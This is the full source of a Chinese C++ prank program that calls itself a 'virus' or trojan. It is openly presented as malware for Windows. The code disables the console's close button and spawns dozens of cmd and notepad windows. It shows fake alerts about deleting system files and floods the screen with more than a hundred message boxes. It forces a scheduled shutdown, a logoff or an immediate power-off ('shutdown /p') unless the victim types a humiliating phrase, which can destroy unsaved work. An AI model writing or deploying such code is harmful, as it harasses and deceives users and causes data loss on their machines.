C++小病毒
#include<iostream>
#include<stdlib.h>
#include<string>
#include<unistd.h>
#include<windows.h>
using namespace std;
void Z_Q_F();
void S_R_Y();
int main(){
DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
DrawMenuBar(GetConsoleWindow());
system("title C++木马2.0.0");
system("color 47");
MessageBox(NULL,"检测到有病毒入侵电脑","Windows病毒警报",MB_OK|MB_ICONHAND);
MessageBox(NULL,"系统正在尝试阻止","Windows病毒警报",MB_OK|MB_ICONHAND);
string a;
cout<<"\n 欢迎使用电脑病毒\n\n";
cout<<" 是否开始使用?同意代表本程序对电脑的损失不负任何责任。\n\n";
cout<<" A.同意,开始使用 B.不同意,退出程序\n\n ";
cin>>a;
if (a=="A" || a=="a"){
system("cls");
cout<<"\n";
cout<<" 程序已开始运行,请做好准备"<<endl<<endl;
cout<<" 前方高能. . . . . ."<<endl<<endl;
sleep(2);
S_R_Y();
for(int i=0; i<20 ; i++){
system("start cmd");
}
for(int i=0; i<10 ; i++){
system("start notepad");
}
for(int i=0; i<10 ; i++){
system("shutdown /i");
}
Z_Q_F();
system("cls");
cout<<"\n 重头戏来了\n\n";
sleep(2);
system("shutdown /s /t 300");
sleep(2);
cout<<" 360安全卫士 Dev-C++ / C++电脑病毒 / 强制关机,制止无效\n\n";
sleep(1);
cout<<" Windows10 C: / Desktop / Dev-C++ / C++电脑病毒 / system()强制关机,电脑将在五分钟后关闭\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<AppData>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<Ole DB>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<Windows>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<Intel>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<Windows make.dll>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除系统文件<360AppData.exe>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除文件<360_B_Z.exe>\n\n";
sleep(1);
cout<<" Windows文件资源管理器 C: / Desktop / Dev-C++ / C++电脑病毒 / 强制删除文件<360_R_G.exe>\n\n";
sleep(5);
system("cls");
sleep(5);
string z;
cout<<"C++木马2.0.0.exe\n\n";
sleep(1);
cout<<" 见识到我的厉害了吧,承认\"我是大傻猪\"即可解除关机:";
cin>>z;
if (z=="我是大傻猪"){
sleep(1);
cout<<"\n";
cout<<" 哈哈哈,真好笑!\n\n";
sleep(1);
cout<<" 哦,对,我是不是说给你解除关机来着?\n\n";
sleep(1);
cout<<" 好好好,现在就弄\n\n";
sleep(2);
cout<<" 解除关机中";
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
system("shutdown /a");
sleep(1);
cout<<" Windows系统 C: / Desktop / Dev-C++ / C++电脑病毒 / 计划的关闭已取消\n\n";
cout<<" 好了,大功告成!\n\n";
cout<<" ";
system("pause");
system("cls");
cout<<"\n 你可真听话!";
sleep(1);
system("cls");
cout<<"\n 恭喜你触发了隐藏彩蛋!\n\n";
sleep(1);
cout<<" 彩蛋可是很好玩的呦!\n\n";
sleep(1);
S_R_Y();
if (MessageBox(NULL, "是否开始彩蛋?我已经很良心了,还让你选择一下.", "木马2.0.0(王嘉烨出品)", MB_OKCANCEL | MB_ICONEXCLAMATION) == IDOK) {
MessageBox(NULL, "彩蛋已经开始运行,请做好准备", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONHAND);
MessageBox(NULL, " 3 ", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, " 2 ", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, " 1 ", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "C盘所有文件名已改为\"sos\"", "木马2.0.0(王嘉烨出品)", MB_OK);
MessageBox(NULL, "切,我那么善良,怎么可能改你C盘文件名呢", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "不过,给我按100次回车吧!", "木马2.0.0(王嘉烨出品)", MB_OK);
for (int i=0; i < 101; i++)MessageBox(NULL, "回车", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
for (int i=0; i < 11; i++)MessageBox(NULL, "!!!停!!!", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "回车大放送结束!", "木马2.0.0(王嘉烨出品)", MB_OK);
MessageBox(NULL, "即将开启下一轮彩蛋!", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, " 3 ", "木马2.0.0(王嘉烨出品)", MB_OK);
MessageBox(NULL, " 2 ", "木马2.0.0(王嘉烨出品)", MB_OK);
MessageBox(NULL, " 1 ", "木马2.0.0(王嘉烨出品)", MB_OK);
sleep(1);
MessageBox(NULL, "现在你的电脑面临重重危机!", "木马2.0.0(王嘉烨出品)", MB_OK | MB_ICONEXCLAMATION);
Z_Q_F();
S_R_Y();
system("shutdown /l");
}else if(MessageBox(NULL, "确定不开始吗?", "木马2.0.0(王嘉烨出品)", MB_OKCANCEL | MB_ICONEXCLAMATION) == IDOK){
MessageBox(NULL, "好的,彩蛋即将关闭.","木马2.0.0(王嘉烨出品)",MB_OK);
}
}else{
string s2;
cout<<"\n";
cout<<" 好小子,还挺勇?\n\n";
sleep(1);
cout<<" 现在输入还有悔改的机会:";
cin>>s2;
cout<<"\n";
if (s2=="我是大傻猪"){
cout<<" 哈哈哈,真好笑!\n\n";
sleep(1);
cout<<" 哦,对,我是不是说给你解除关机来着?\n\n";
sleep(1);
cout<<" 好好好,现在就弄.\n\n";
sleep(2);
cout<<" 解除关机中";
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
cout<<". ";
sleep(1);
system("shutdown /a");
sleep(1);
cout<<"\n\n Windows系统 C: / Desktop / Dev-C++ / C++电脑病毒 / 计划的关闭已取消\n\n";
sleep(2);
cout<<" 好了,大功告成!\n\n";
}else{
cout<<" 哼哼哼,建议你检查检查有没有没保存的文件,我要关机喽!!!\n\n";
sleep(3);
Z_Q_F();
S_R_Y();
cout<<" 关机喽!!!";
sleep(1);
system("shutdown /p");
}
}
}else if(a=="B" || a=="b"){
cout<<"好的,程序即将关闭.\n\n";
}else{
cout<<"输入有误.\n\n";
}
}
void Z_Q_F(){
HWND hWnd = GetConsoleWindow();
RECT rect;
GetWindowRect(hWnd, &rect);
SetWindowPos(hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, 0);
return;
}
void S_R_Y(){
system("cls");
sleep(1);
cout<<"\n\n\n\n";
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! 3 ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
sleep(1);
system("cls");
cout<<"\n\n";
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! ! 2 ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
sleep(1);
system("cls");
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! ! ! ! ! !\n\n";
cout<<" ! ! ! ! 1 ! ! ! !\n\n";
cout<<" ! ! ! ! ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
for(int i=0; i<4 ; i++){
system("color 74");
sleep(0.1);
system("color 47");
sleep(0.1);
}
}
原创不易,请勿抄袭!